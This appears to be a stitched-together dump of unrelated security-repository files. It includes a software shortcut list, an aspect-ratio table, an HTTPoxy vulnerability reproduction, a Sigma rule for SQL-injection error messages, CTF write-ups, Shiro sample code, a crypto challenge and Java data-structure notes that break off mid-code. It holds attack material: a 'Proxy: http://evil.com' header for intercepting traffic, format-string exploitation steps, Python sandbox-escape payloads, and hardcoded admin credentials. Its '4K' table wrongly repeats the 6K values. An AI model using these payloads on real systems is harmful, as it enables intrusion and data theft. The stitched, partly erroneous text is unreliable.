{.shortcuts} ### Misc Shortcut | Action ---|--- `Ctrl` `,` | Preferences `Ctrl` `Alt` `L` | Liquify persona `Ctrl` `Alt` `E` | Export persona `Ctrl` `Alt` `R` | Develop persona `Ctrl` `Alt` `H` | Hide others (applications) `Ctrl` `Alt` `M` | Media browser {.shortcuts} Also see -------- - [Keyboard shortcuts for Affinity Photo](https://affinityspotlight.com/article/downloadable-affinity-keyboard-shortcut-cheat-sheets/) _(affinityspotlight.com)_
sec-knowleage
--- title: Aspect Ratio date: 2022-09-21 10:28:43 background: bg-emerald-600 tags: - photo - image - aspect - ratio - resolutions categories: - Other intro: | This cheat sheet lists some common aspect ratios and their pixel resolutions. Always confirm your final delivery ratio when shooting. --- Getting Started {.cols-2} --------------- ### Introduction - The aspect ratio is the ratio between the width and height of the screen or image - It's usually written as two numbers separated by a colon or "x", ex: 16:9 or 16x9 - Which is interpreted as W pixels in width for every H pixel in height. - Resolution is the number of pixels (individual points of color) {.marker-round} ### Multi-format of Aspect Ratio - [Markdown Table](https://tableconvert.com/html-to-markdown?data=https://quickref.me/aspect-ratio#TableGenerator) - [Template](https://tableconvert.com/html-to-template?data=https://quickref.me/aspect-ratio#TableGenerator) - [LaTeX Table](https://tableconvert.com/html-to-latex?data=https://quickref.me/aspect-ratio#TableGenerator) - [CSV](https://tableconvert.com/html-to-csv?data=https://quickref.me/aspect-ratio#TableGenerator) - [Excel](https://tableconvert.com/html-to-excel?data=https://quickref.me/aspect-ratio#TableGenerator) - [JSON Array](https://tableconvert.com/html-to-json?data=https://quickref.me/aspect-ratio#TableGenerator) - [HTML Table](https://tableconvert.com/html-to-html?data=https://quickref.me/aspect-ratio#TableGenerator) - [Insert SQL](https://tableconvert.com/html-to-sql?data=https://quickref.me/aspect-ratio#TableGenerator) - [YAML Sequence](https://tableconvert.com/html-to-yaml?data=https://quickref.me/aspect-ratio#TableGenerator) - [XML](https://tableconvert.com/html-to-xml?data=https://quickref.me/aspect-ratio#TableGenerator) - [ASCII](https://tableconvert.com/html-to-ascii?data=https://quickref.me/aspect-ratio#TableGenerator) - [MediaWiki Table](https://tableconvert.com/html-to-mediawiki?data=https://quickref.me/aspect-ratio#TableGenerator) - [AsciiDoc Table](https://tableconvert.com/html-to-asciidoc?data=https://quickref.me/aspect-ratio#TableGenerator) - [Jira Table](https://tableconvert.com/html-to-jira?data=https://quickref.me/aspect-ratio#TableGenerator) - [Textile Table](https://tableconvert.com/html-to-textile?data=https://quickref.me/aspect-ratio#TableGenerator) - [reStructuredText](https://tableconvert.com/html-to-restructuredtext?data=https://quickref.me/aspect-ratio#TableGenerator) - [PHP Array](https://tableconvert.com/html-to-php?data=https://quickref.me/aspect-ratio#TableGenerator) - [Ruby Array](https://tableconvert.com/html-to-ruby?data=https://quickref.me/aspect-ratio#TableGenerator) - [ASP Array](https://tableconvert.com/html-to-asp?data=https://quickref.me/aspect-ratio#TableGenerator) - [ActionScript](https://tableconvert.com/html-to-actionscript?data=https://quickref.me/aspect-ratio#TableGenerator) - [BBCode](https://tableconvert.com/html-to-bbcode?data=https://quickref.me/aspect-ratio#TableGenerator) - [PDF](https://tableconvert.com/html-to-pdf?data=https://quickref.me/aspect-ratio#TableGenerator) - [JPEG](https://tableconvert.com/html-to-jpeg?data=https://quickref.me/aspect-ratio#TableGenerator) {.cols-4 .marker-none} Lists of Aspect Ratios ------------------- ### 1080p {.row-span-2} | Aspect Ratio | Resolution | |--------------|-------------| | 0.80 (4:5) | 864 x 1080 | | 1.25 (5:4) | 1350 x 1080 | | 1.33 (4:3) | 1440 x 1080 | | 1.66 (5:3) | 1800 x 1080 | | 1.78 (16:9) | 1920 x 1080 | | 1.85 | 1920 x 1038 | | 1.90 | 1920 x 1011 | | 2.00 | 1920 x 960 | | 2.35 | 1920 x 817 | | 2.37 | 1920 x 810 | | 2.39 | 1920 x 803 | | 2.40 | 1920 x 800 | | 2.44 | 1920 x 787 | {.show-header} ### 720p {.row-span-2} | Aspect Ratio | Resolution | |--------------|------------| | 0.80 (4:5) | 576 x 720 | | 1.25 (5:4) | 900 x 720 | | 1.33 (4:3) | 960 x 720 | | 1.66 (5:3) | 1200 x 720 | | 1.78 (16:9) | 1280 x 720 | | 1.85 | 1280 x 692 | | 1.90 | 1280 x 674 | | 2.00 | 1280 x 640 | | 2.35 | 1280 x 545 | | 2.37 | 1280 x 540 | | 2.39 | 1280 x 536 | | 2.40 | 1280 x 533 | | 2.44 | 1280 x 525 | {.show-header} ### Cinema DCP 4K | Aspect Ratio | Resolution | |-----------------------|-------------| | Flat (1.85) | 3996 x 2160 | | Scope (2.39) | 4096 x 1716 | | Full Container (1.90) | 4096 x 2160 | {.show-header} ### Cinema DCP 2K | Aspect Ratio | Resolution | |-----------------------|-------------| | Flat (1.85) | 1998 x 1080 | | Scope (2.39) | 2048 x 858 | | Full Container (1.90) | 2048 x 1080 | {.show-header} ### 8K | Aspect Ratio | Resolution | |--------------|-------------| | 0.80 (4:5) | 3686 x 4608 | | 1.25 (5:4) | 5760 x 4608 | | 1.33 (4:3) | 6144 x 4608 | | 1.66 (5:3) | 7680 x 4608 | | 1.78 (16:9) | 8192 x 4608 | | 1.85 | 8192 x 4428 | | 1.90 | 8192 x 4320 | | 2.00 | 8192 x 4096 | | 2.35 | 8192 x 3486 | | 2.37 | 8192 x 3456 | | 2.39 | 8192 x 3428 | | 2.40 | 8192 x 3413 | | 2.44 | 8192 x 3357 | {.show-header} ### 6K | Aspect Ratio | Resolution | |--------------|-------------| | 0.80 (4:5) | 2765 x 3456 | | 1.25 (5:4) | 4320 x 3456 | | 1.33 (4:3) | 4608 x 3456 | | 1.66 (5:3) | 5760 x 3456 | | 1.78 (16:9) | 6144 x 3456 | | 1.85 | 6144 x 3321 | | 1.90 | 6144 x 3234 | | 2.00 | 6144 x 3072 | | 2.35 | 6144 x 2614 | | 2.37 | 6144 x 2592 | | 2.39 | 6144 x 2571 | | 2.40 | 6144 x 2560 | | 2.44 | 6144 x 2518 | {.show-header} ### 4K | Aspect Ratio | Resolution | |--------------|-------------| | 0.80 (4:5) | 2765 x 3456 | | 1.25 (5:4) | 4320 x 3456 | | 1.33 (4:3) | 4608 x 3456 | | 1.66 (5:3) | 5760 x 3456 | | 1.78 (16:9) | 6144 x 3456 | | 1.85 | 6144 x 3321 | | 1.90 | 6144 x 3234 | | 2.00 | 6144 x 3072 | | 2.35 | 6144 x 2614 | | 2.37 | 6144 x 2592 | | 2.39 | 6144 x 2571 | | 2.40 | 6144 x 2560 | | 2.44 | 6144 x 2518 | {.show-header} ### 3K | Aspect Ratio | Resolution | |--------------|-------------| | 0.80 (4:5) | 1382 x 1728 | | 1.25 (5:4) | 2160 x 1728 | | 1.33 (4:3) | 2304 x 1728 | | 1.66 (5:3) | 2880 x 1728 | | 1.78 (16:9) | 3072 x 1728 | | 1.85 | 3072 x 1661 | | 1.90 | 3072 x 1620 | | 2.00 | 3072 x 1536 | | 2.35 | 3072 x 1307 | | 2.37 | 3072 x 1296 | | 2.39 | 3072 x 1285 | | 2.40 | 3072 x 1280 | | 2.44 | 3072 x 1259 | {.show-header} ### 2K | Aspect Ratio | Resolution | |--------------|-------------| | 0.80 (4:5) | 922 x 1152 | | 1.25 (5:4) | 1440 x 1152 | | 1.33 (4:3) | 1536 x 1152 | | 1.66 (5:3) | 1920 x 1152 | | 1.78 (16:9) | 2048 x 1152 | | 1.85 | 2048 x 1107 | | 1.90 | 2048 x 1078 | | 2.00 | 2048 x 1024 | | 2.35 | 2048 x 871 | | 2.37 | 2048 x 864 | | 2.39 | 2048 x 858 | | 2.40 | 2048 x 853 | | 2.44 | 2048 x 838 | {.show-header} ### 8K UHD | Aspect Ratio | Resolution | |--------------|-------------| | 0.80 (4:5) | 2765 x 3456 | | 1.25 (5:4) | 5400 x 3456 | | 1.33 (4:3) | 5760 x 3456 | | 1.66 (5:3) | 7200 x 3456 | | 1.78 (16:9) | 7680 x 4320 | | 1.85 | 7680 x 4151 | | 1.90 | 7680 x 4042 | | 2.00 | 7680 x 3840 | | 2.35 | 7680 x 3268 | | 2.37 | 7680 x 3240 | | 2.39 | 7680 x 3213 | | 2.40 | 7680 x 3200 | | 2.44 | 7680 x 3148 | {.show-header} ### 5K | Aspect Ratio | Resolution | |--------------|-------------| | 0.80 (4:5) | 2304 x 2880 | | 1.25 (5:4) | 3600 x 2880 | | 1.33 (4:3) | 3840 x 2880 | | 1.66 (5:3) | 4800 x 2880 | | 1.78 (16:9) | 5120 x 2880 | | 1.85 | 5120 x 2768 | | 1.90 | 5120 x 2700 | | 2.00 | 5120 x 2560 | | 2.35 | 5120 x 2179 | | 2.37 | 5120 x 2160 | | 2.39 | 5120 x 2142 | | 2.40 | 5120 x 2133 | | 2.44 | 5120 x 2098 | {.show-header} ### 4K UHD | Aspect Ratio | Resolution | |--------------|-------------| | 0.80 (4:5) | 1728 x 2160 | | 1.25 (5:4) | 2700 x 2160 | | 1.33 (4:3) | 2880 x 2160 | | 1.66 (5:3) | 3600 x 2160 | | 1.78 (16:9) | 3840 x 2160 | | 1.85 | 3840 x 2076 | | 1.90 | 3840 x 2021 | | 2.00 | 3840 x 1920 | | 2.35 | 3840 x 1634 | | 2.37 | 3840 x 1620 | | 2.39 | 3840 x 1607 | | 2.40 | 3840 x 1600 | | 2.44 | 3840 x 1574 | {.show-header} ### 3K UHD | Aspect Ratio | Resolution | |--------------|-------------| | 0.80 (4:5) | 1296 x 1620 | | 1.25 (5:4) | 2025 x 1620 | | 1.33 (4:3) | 2160 x 1620 | | 1.66 (5:3) | 2700 x 1620 | | 1.78 (16:9) | 2880 x 1620 | | 1.85 | 2880 x 1557 | | 1.90 | 2880 x 1516 | | 2.00 | 2880 x 1440 | | 2.35 | 2880 x 1226 | | 2.37 | 2880 x 1215 | | 2.39 | 2880 x 1205 | | 2.40 | 2880 x 1200 | | 2.44 | 2880 x 1180 | {.show-header}
sec-knowleage
# CGI HTTPoxy漏洞(CVE-2016-5385) 根据RFC 3875规定,CGI(fastcgi)要将用户传入的所有HTTP头都加上`HTTP_`前缀放入环境变量中,而恰好大多数类库约定俗成会提取环境变量中的`HTTP_PROXY`值作为HTTP代理地址。于是,恶意用户通过提交`Proxy: http://evil.com`这样的HTTP头,将使用缺陷类库的网站的代理设置为`http://evil.com`,进而窃取数据包中可能存在的敏感信息。 PHP5.6.24版本修复了该漏洞,不会再将`Proxy`放入环境变量中。本环境使用PHP 5.6.23为例。 当然,该漏洞不止影响PHP,所有以CGI或Fastcgi运行的程序理论上都受到影响。CVE-2016-5385是PHP的CVE,HTTPoxy所有的CVE编号如下: - CVE-2016-5385: PHP - CVE-2016-5386: Go - CVE-2016-5387: Apache HTTP Server - CVE-2016-5388: Apache Tomcat - CVE-2016-6286: spiffy-cgi-handlers for CHICKEN - CVE-2016-6287: CHICKEN’s http-client - CVE-2016-1000104: mod_fcgi - CVE-2016-1000105: Nginx cgi script - CVE-2016-1000107: Erlang inets - CVE-2016-1000108: YAWS - CVE-2016-1000109: HHVM FastCGI - CVE-2016-1000110: Python CGIHandler - CVE-2016-1000111: Python Twisted - CVE-2016-1000212: lighttpd 参考链接: - https://httpoxy.org/ - http://www.laruence.com/2016/07/19/3101.html ## 环境搭建 启动一个基于PHP 5.6.23 + GuzzleHttp 6.2.0的应用: ``` docker compose up -d ``` Web页面原始代码:[index.php](www/index.php) ## 漏洞复现 正常请求`http://your-ip:8080/index.php`,可见其Origin为当前请求的服务器,二者IP相等: ![](1.png) 在其他地方启动一个可以正常使用的http代理,如`http://*.*.122.65:8888/`。 附带`Proxy: http://*.*.122.65:8888/`头,再次访问`http://your-ip:8080/index.php`: ![](2.png) 如上图,可见此时的Origin已经变成`*.*.122.65`,也就是说真正进行HTTP访问的服务器是`*.*.122.65`,也就是说`*.*.122.65`已经将正常的HTTP请求代理了。 在`*.*.122.65`上使用NC,就可以捕获当前请求的数据包,其中可能包含敏感数据: ![](3.png)
sec-knowleage
# T1190-可疑的SQL错误消息 ## ATT&CK描述 面向公众应用的利用指的是攻击者利用面向Internet的计算机系统或程序的弱点,使用软件、数据或命令来造成意外行为。系统弱点可能是缺陷、故障或设计漏洞。这些应用通常是网站,但也可以包括数据库(如SQL),标准服务(如SMB或SSH),以及任何带有可通过Internet访问的开放套接字的应用(如web服务器和相关服务)。面向公众应用的利用可能包括防御逃逸目的的利用,具体取决于被利用的弱点。 如果应用程序托管在云化基础架构上,则利用此应用可能会破坏底层实例。攻击者可能会利用此漏洞通过调用云API或利用弱身份和访问管理策略来实施攻击。 OWASP(开放式web应用程序安全项目)前10名和CWE(通用缺陷列表)前25名突出显示了网站和数据库最常见的web漏洞。 ## 测试案例 暂无 ## 检测日志 数据库错误日志 ## 测试复现 暂无 ## 测试留痕 Oracle报错信息 ```yml quoted string not properly terminated ``` MySQL报错信息 ```yml You have an error in your SQL syntax ``` SQL Server报错信息 ```yml Unclosed quotation mark ``` SQLite报错信息 ```yml 'near "*": syntax error' SELECTs to the left and right of UNION do not have the same number of result columns ``` ## 检测规则/思路 ### Sigma规则 ```yml title: 可疑的SQL错误消息 status: 实验阶段 description: 检测指示对注入攻击进行探测的SQL错误消息 author: Bjoern Kimminich Translator: 12306Bro date: 2020/8/6 references: - http://www.sqlinjection.net/errors logsource: category: application product: sql detection: keywords: # Oracle - quoted string not properly terminated # MySQL - You have an error in your SQL syntax # SQL Server - Unclosed quotation mark # SQLite - 'near "*": syntax error' - SELECTs to the left and right of UNION do not have the same number of result columns condition: keywords falsepositives: - Application bugs level: high ``` ### 建议 暂无 ## 参考推荐 MITRE-ATT&CK-T1190 <https://attack.mitre.org/techniques/T1190/> Oracle报错信息 <https://blog.csdn.net/rshp_520/article/details/44620463> MySQL报错信息 <https://blog.csdn.net/attack_5/article/details/83548346> SQL Server报错信息 <https://blog.csdn.net/dadaowuque/article/details/81016127> SQLite报错信息 <https://blog.csdn.net/www121104115/article/details/75051685>
sec-knowleage
# Botpanel - Pwn (300 + 0), 17 solves > These cyber criminals are selling shells like hot cakes off thier new site. Pwn their botpanel for us so we can stop them In this task we were given a binary and `host:port` where it is running. Connecting there we get a banner and password prompt. After analyzing the binary, we notice that there is a format string bug - typing `%s` would either crash or print garbage. It turns out the expected password is stored in a local variable, so we could use `%7$s` to get the correct password echoed: ``` Panel password: %7$s Incorrect! 4 attempts left Your attempt was: >@!ADMIN!@< ``` Logging in, we get a simple menu, but anything we try is restricted due to running in "trial mode". Analyzing the binary, it seems the boolean holding the current mode is initialized in the login function - since there's the format bug, we could overwrite it using `%6$n`. After doing this, we get "registered mode" menu. It allows to send invites to arbitrary host:port - which spawn a new thread which connects back to specified IP. The invited menu in turn allows to send feedback. The feedback option first asks for length, then the feedback string. It is immediately suspicious, but there are checks for the length being in reasonable size, so no obvious buffer overflow is there. However, the read buffer length is a global variable, meaning we can send normal length in one connection, get it to pass the checks, then send large length in second connection, and finally send large buffer in the first one. This allows us to overflow the buffer, overwriting the return address and allowing the ROP. There were a couple of other roadblocks still. First of all, there was a stack cookie. Thankfully, on Linux the stack cookie is constant for the whole process duration, so we were able to leak it during the login phase at the start, using `%15$x`. Second problem was that the ASLR was turned on, so we had to find the address the binary was loaded at. We did it in the same way, via leaking return address during login procedure: `%19$x`. The binary was rather small, so there was not enough gadgets to easily make a reliable exploit - our solution increments (bytewise) `puts` function GOT entry so that it points to `system`. Because it is bytewise incrementation, the possible carry is ignored, so the result may be wrong. Still, the exploit works about half the time. The whole code is available in `doit.py`.
sec-knowleage
# Private Local Comment (ppc) In this PPC task we have 3 levels of Python challenges where we need to extract some data in unusual way. There is sandbox around all of the tasks so we can't spawn a shell or do anything like that, we need to use legit python code. ### Private Here we have code: ```python import sys from restrict import Restrict r = Restrict() # r.set_timeout() class Private: def __init__(self): pass def __flag(self): return "TWCTF{CENSORED}" p = Private() Private = None d = sys.stdin.read() assert d is not None assert "Private" not in d, "Private found!" d = d[:24] r.seccomp() print eval(d) ``` So we have only instance of the class and we need to call a private method to get the flag. This is trivial for anyone who knows python at least a little bit, or know how to use `dir()`. In Python there is no such thing as "private" really, the prefix `__` only causes the interpreter to rewrite the method name to `classname__methodname` so in our case `Private__flag`. There is still the second check, so we can't use `Private` in our input and we have only 24 character to use, so we can't play around with extracting the class name from object. As I mentioned, the `dir()` functions is useful here, it returns list of fields and methods of the objects, and in our case `dir(p)[0]` will return the name of method we want. Now we need some reflection to call the method from the string name, and we can use `getattr` for this. The solution finally is: `getattr(p,dir(p)[0])()` and we get flag `TWCTF{__private is not private}` ### Local This time we get: ```python import sys from restrict import Restrict r = Restrict() # r.set_timeout() def get_flag(x): flag = "TWCTF{CENSORED}" return x d = sys.stdin.read() assert d is not None d = d[:30] r.seccomp() print eval(d) ``` This time we need to extract value of local variable defined in a function. People with some experience in refection in python will know that you can actually construct functions in the code just like any objects, and you can also decostruct them, because they are simply objects like any other. Each function has property `func_code` which contains details about the code of the function. There we can find `co_const` property, which stores list of constant used in the function, just like our flag. So we can simply send: `get_flag.func_code.co_consts` to recover the flag ` TWCTF{func_code is useful for metaprogramming}` ### Comment In the last taks we have code: ```python import sys from restrict import Restrict r = Restrict() # r.set_timeout() d = sys.stdin.read() assert d is not None d = d[:20] import comment_flag r.seccomp() print eval(d) ``` and the imported `comment_flag` module is: ```python ''' Welcome to unreadable area! FLAG is TWCTF{CENSORED} ''' ``` The trick here is that the comment defined at the very top of the module is actually treated by python as module documentation docstring. As such it can be accessed via `__doc__` property of the module, so by sending `comment_flag.__doc__` we can recover the last flag: `TWCTF{very simple docstring}`
sec-knowleage
/* * Licensed to the Apache Software Foundation (ASF) under one * or more contributor license agreements. See the NOTICE file * distributed with this work for additional information * regarding copyright ownership. The ASF licenses this file * to you under the Apache License, Version 2.0 (the * "License"); you may not use this file except in compliance * with the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, * software distributed under the License is distributed on an * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY * KIND, either express or implied. See the License for the * specific language governing permissions and limitations * under the License. */ package org.apache.shiro.samples; import org.apache.shiro.SecurityUtils; import org.apache.shiro.authz.AuthorizationException; import org.apache.shiro.realm.Realm; import org.apache.shiro.realm.text.TextConfigurationRealm; import org.apache.shiro.spring.web.config.DefaultShiroFilterChainDefinition; import org.apache.shiro.spring.web.config.ShiroFilterChainDefinition; import org.apache.shiro.subject.Subject; import org.slf4j.Logger; import org.slf4j.LoggerFactory; import org.springframework.boot.SpringApplication; import org.springframework.boot.autoconfigure.SpringBootApplication; import org.springframework.context.annotation.Bean; import org.springframework.context.annotation.Configuration; import org.springframework.http.HttpStatus; import org.springframework.ui.Model; import org.springframework.web.bind.annotation.ControllerAdvice; import org.springframework.web.bind.annotation.ExceptionHandler; import org.springframework.web.bind.annotation.ModelAttribute; import org.springframework.web.bind.annotation.ResponseStatus; import java.util.HashMap; import java.util.Map; @Configuration @ControllerAdvice @SpringBootApplication public class WebApp { //NOPMD private static Logger log = LoggerFactory.getLogger(WebApp.class); public static void main(String[] args) { SpringApplication.run(WebApp.class, args); } @ExceptionHandler(AuthorizationException.class) @ResponseStatus(HttpStatus.FORBIDDEN) public String handleException(AuthorizationException e, Model model) { // you could return a 404 here instead (this is how github handles 403, so the user does NOT know there is a // resource at that location) log.debug("AuthorizationException was thrown", e); Map<String, Object> map = new HashMap<String, Object>(); map.put("status", HttpStatus.FORBIDDEN.value()); map.put("message", "No message available"); model.addAttribute("errors", map); return "error"; } @Bean public Realm realm() { TextConfigurationRealm realm = new TextConfigurationRealm(); realm.setUserDefinitions("admin=vulhub,admin"); realm.setCachingEnabled(true); return realm; } @Bean public ShiroFilterChainDefinition shiroFilterChainDefinition() { DefaultShiroFilterChainDefinition chainDefinition = new DefaultShiroFilterChainDefinition(); chainDefinition.addPathDefinition("/login.html", "authc"); // need to accept POSTs from the login form chainDefinition.addPathDefinition("/logout", "logout"); chainDefinition.addPathDefinition("/admin/**", "authc"); return chainDefinition; } @ModelAttribute(name = "subject") public Subject subject() { return SecurityUtils.getSubject(); } }
sec-knowleage
# 算法 - 栈和队列 <!-- GFM-TOC --> * [算法 - 栈和队列](#算法---栈和队列) * [栈](#栈) * [1. 数组实现](#1-数组实现) * [2. 链表实现](#2-链表实现) * [队列](#队列) <!-- GFM-TOC --> ## 栈 ```java public interface MyStack<Item> extends Iterable<Item> { MyStack<Item> push(Item item); Item pop() throws Exception; boolean isEmpty(); int size(); } ``` ### 1. 数组实现 ```java public class ArrayStack<Item> implements MyStack<Item> { // 栈元素数组,只能通过转型来创建泛型数组 private Item[] a = (Item[]) new Object[1]; // 元素数量 private int N = 0; @Override public MyStack<Item> push(Item item) { check(); a[N++] = item; return this; } @Override public Item pop() throws Exception { if (isEmpty()) { throw new Exception("stack is empty"); } Item item = a[--N]; check(); // 避免对象游离 a[N] = null; return item; } private void check() { if (N >= a.length) { resize(2 * a.length); } else if (N > 0 && N <= a.length / 4) { resize(a.length / 2); } } /** * 调整数组大小,使得栈具有伸缩性 */ private void resize(int size) { Item[] tmp = (Item[]) new Object[size]; for (int i = 0; i < N; i++) { tmp[i] = a[i]; } a = tmp; } @Override public boolean isEmpty() { return N == 0; } @Override public int size() { return N; } @Override public Iterator<Item> iterator() { // 返回逆序遍历的迭代器 return new Iterator<Item>() { private int i = N; @Override public boolean hasNext() { return i > 0; } @Override public Item next() { return a[--i]; } }; } } ``` ### 2. 链表实现 需要使用链表的头插法来实现,因为头插法中最后压入栈的元素在链表的开头,它的 next 指针指向前一个压入栈的元素,在弹出元素时就可以通过 next 指针遍历到前一个压入栈的元素从而让这个元素成为新的栈顶元素。 ```java public class ListStack<Item> implements MyStack<Item> { private Node top = null; private int N = 0; private class Node { Item item; Node next; } @Override public MyStack<Item> push(Item item) { Node newTop = new Node(); newTop.item = item; newTop.next = top; top = newTop; N++; return this; } @Override public Item pop() throws Exception { if (isEmpty()) { throw new Exception("stack is empty"); } Item item = top.item; top = top.next; N--; return item; } @Override public boolean isEmpty() { return N == 0; } @Override public int size() { return N; } @Override public Iterator<Item> iterator() { return new Iterator<Item>() { private Node cur = top; @Override public boolean hasNext() { return cur != null; } @Override public Item next() { Item item = cur.item; cur = cur.next; return item; } }; } } ``` ## 队列 下面是队列的链表实现,需要维护 first 和 last 节点指针,分别指向队首和队尾。 这里需要考虑 first 和 last 指针哪个作为链表的开头。因为出队列操作需要让队首元素的下一个元素成为队首,所以需要容易获取下一个元素,而链表的头部节点的 next 指针指向下一个元素,因此可以让 first 指针链表的开头。 ```java public interface MyQueue<Item> extends Iterable<Item> { int size(); boolean isEmpty(); MyQueue<Item> add(Item item); Item remove() throws Exception; } ``` ```java public class ListQueue<Item> implements MyQueue<Item> { private Node first; private Node last; int N = 0; private class Node { Item item; Node next; } @Override public boolean isEmpty() { return N == 0; } @Override public int size() { return N; } @Override public MyQueue<Item> add(Item item) { Node newNode = new Node(); newNode.item = item; newNode.next = null; if (isEmpty()) { last = newNode; first = newNode; } else { last.next = newNode; last = newNode; } N++; return this; } @Override public Item remove() throws Exception { if (isEmpty()) { throw new Exception("queue is empty"); } Node node = first; first = first.next; N--; if (isEmpty()) { last = null; } return node.item; } @Override public Iterator<Item> iterator() { return new Iterator<Item>() { Node cur = first; @Override public boolean hasNext() { return cur != null; } @Override public Item next() { Item item = cur.item; cur = cur.next; return item; } }; } } ```
sec-knowleage
# Forensics 100 (forensics, 100p, ? solved) In the challenge we get a [pcap](ctf.pcap) to analyse. This time it's "only" 30 MB, so we include all of it. With some help from NetworkMiner and Wireshark we're able to find a TCP stream: ``` Knock Knock Who's there? Flag Seeker Go seek to a different place ``` We also find a request: ``` GET /data HTTP/1.1 Host: 172.16.123.177 User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate DNT: 1 Connection: keep-alive Upgrade-Insecure-Requests: 1 HTTP/1.1 200 OK Date: Tue, 16 Jul 2019 13:07:59 GMT Server: Apache/2.4.27 (Debian) Last-Modified: Tue, 16 Jul 2019 12:59:09 GMT ETag: "b427d-58dcbf14ab2b2" Accept-Ranges: bytes Content-Length: 737917 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive PAYLOAD ``` The response is base64 encoded gif: ![](result.gif) Both of those clues point into direction of `port knocking`. However, we didn't really figure this out, until we've noticed some strange low port numbers in the pcap.. When we sort packets based on port number we can notice that there are in fact some connections on strange low port numbers, rather unusual, but all those numbers are in ASCII range. Once we get all of them in order we can decode the flag: ```python "".join(map(chr,[84,77,67,84,70,123,75,110,48,99,107,74,117,53,116,111,78,116,104,51,114,49,103,104,116,100,48,48,114,125])) ``` `TMCTF{Kn0ckJu5toNth3r1ghtd00r}`
sec-knowleage
require 'securerandom' require 'openssl' ROUNDS = 765 BITS = 128 PAIRS = 6 def encrypt(msg, key) enc = msg mask = (1 << BITS) - 1 ROUNDS.times do enc = (enc + key) & mask enc = enc ^ key end enc end def decrypt(msg, key) enc = msg mask = (1 << BITS) - 1 ROUNDS.times do enc = enc ^ key enc = (enc - key) & mask end enc end fail unless BITS % 8 == 0 flag = SecureRandom.bytes(BITS / 8).unpack1('H*').to_i(16) key = SecureRandom.bytes(BITS / 8).unpack1('H*').to_i(16) STDERR.puts "The flag: TWCTF{%x}" % flag STDERR.puts "Key=%x" % key STDOUT.puts "Encrypted flag: %x" % encrypt(flag, key) fail unless decrypt(encrypt(flag, key), key) == flag # Decryption Check PAIRS.times do |i| plain = SecureRandom.bytes(BITS / 8).unpack1('H*').to_i(16) enc = encrypt(plain, key) STDOUT.puts "Pair %d: plain=%x enc=%x" % [-~i, plain, enc] end
sec-knowleage
# 算法 - 符号表 <!-- GFM-TOC --> * [算法 - 符号表](#算法---符号表) * [前言](#前言) * [初级实现](#初级实现) * [1. 链表实现无序符号表](#1-链表实现无序符号表) * [2. 二分查找实现有序符号表](#2-二分查找实现有序符号表) * [二叉查找树](#二叉查找树) * [1. get()](#1-get) * [2. put()](#2-put) * [3. 分析](#3-分析) * [4. floor()](#4-floor) * [5. rank()](#5-rank) * [6. min()](#6-min) * [7. deleteMin()](#7-deletemin) * [8. delete()](#8-delete) * [9. keys()](#9-keys) * [10. 分析](#10-分析) * [2-3 查找树](#2-3-查找树) * [1. 插入操作](#1-插入操作) * [2. 性质](#2-性质) * [红黑树](#红黑树) * [1. 左旋转](#1-左旋转) * [2. 右旋转](#2-右旋转) * [3. 颜色转换](#3-颜色转换) * [4. 插入](#4-插入) * [5. 分析](#5-分析) * [散列表](#散列表) * [1. 散列函数](#1-散列函数) * [2. 拉链法](#2-拉链法) * [3. 线性探测法](#3-线性探测法) * [小结](#小结) * [1. 符号表算法比较](#1-符号表算法比较) * [2. Java 的符号表实现](#2-java-的符号表实现) * [3. 稀疏向量乘法](#3-稀疏向量乘法) <!-- GFM-TOC --> ## 前言 符号表(Symbol Table)是一种存储键值对的数据结构,可以支持快速查找操作。 符号表分为有序和无序两种,有序符号表主要指支持 min()、max() 等根据键的大小关系来实现的操作。 有序符号表的键需要实现 Comparable 接口。 ```java public interface UnorderedST<Key, Value> { int size(); Value get(Key key); void put(Key key, Value value); void delete(Key key); } ``` ```java public interface OrderedST<Key extends Comparable<Key>, Value> { int size(); void put(Key key, Value value); Value get(Key key); Key min(); Key max(); int rank(Key key); List<Key> keys(Key l, Key h); } ``` ## 初级实现 ### 1. 链表实现无序符号表 ```java public class ListUnorderedST<Key, Value> implements UnorderedST<Key, Value> { private Node first; private class Node { Key key; Value value; Node next; Node(Key key, Value value, Node next) { this.key = key; this.value = value; this.next = next; } } @Override public int size() { int cnt = 0; Node cur = first; while (cur != null) { cnt++; cur = cur.next; } return cnt; } @Override public void put(Key key, Value value) { Node cur = first; // 如果在链表中找到节点的键等于 key 就更新这个节点的值为 value while (cur != null) { if (cur.key.equals(key)) { cur.value = value; return; } cur = cur.next; } // 否则使用头插法插入一个新节点 first = new Node(key, value, first); } @Override public void delete(Key key) { if (first == null) return; if (first.key.equals(key)) first = first.next; Node pre = first, cur = first.next; while (cur != null) { if (cur.key.equals(key)) { pre.next = cur.next; return; } pre = pre.next; cur = cur.next; } } @Override public Value get(Key key) { Node cur = first; while (cur != null) { if (cur.key.equals(key)) return cur.value; cur = cur.next; } return null; } } ``` ### 2. 二分查找实现有序符号表 使用一对平行数组,一个存储键一个存储值。 二分查找的 rank() 方法至关重要,当键在表中时,它能够知道该键的位置;当键不在表中时,它也能知道在何处插入新键。 二分查找最多需要 logN+1 次比较,使用二分查找实现的符号表的查找操作所需要的时间最多是对数级别的。但是插入操作需要移动数组元素,是线性级别的。 ```java public class BinarySearchOrderedST<Key extends Comparable<Key>, Value> implements OrderedST<Key, Value> { private Key[] keys; private Value[] values; private int N = 0; public BinarySearchOrderedST(int capacity) { keys = (Key[]) new Comparable[capacity]; values = (Value[]) new Object[capacity]; } @Override public int size() { return N; } @Override public int rank(Key key) { int l = 0, h = N - 1; while (l <= h) { int m = l + (h - l) / 2; int cmp = key.compareTo(keys[m]); if (cmp == 0) return m; else if (cmp < 0) h = m - 1; else l = m + 1; } return l; } @Override public List<Key> keys(Key l, Key h) { int index = rank(l); List<Key> list = new ArrayList<>(); while (keys[index].compareTo(h) <= 0) { list.add(keys[index]); index++; } return list; } @Override public void put(Key key, Value value) { int index = rank(key); // 如果找到已经存在的节点键为 key,就更新这个节点的值为 value if (index < N && keys[index].compareTo(key) == 0) { values[index] = value; return; } // 否则在数组中插入新的节点,需要先将插入位置之后的元素都向后移动一个位置 for (int j = N; j > index; j--) { keys[j] = 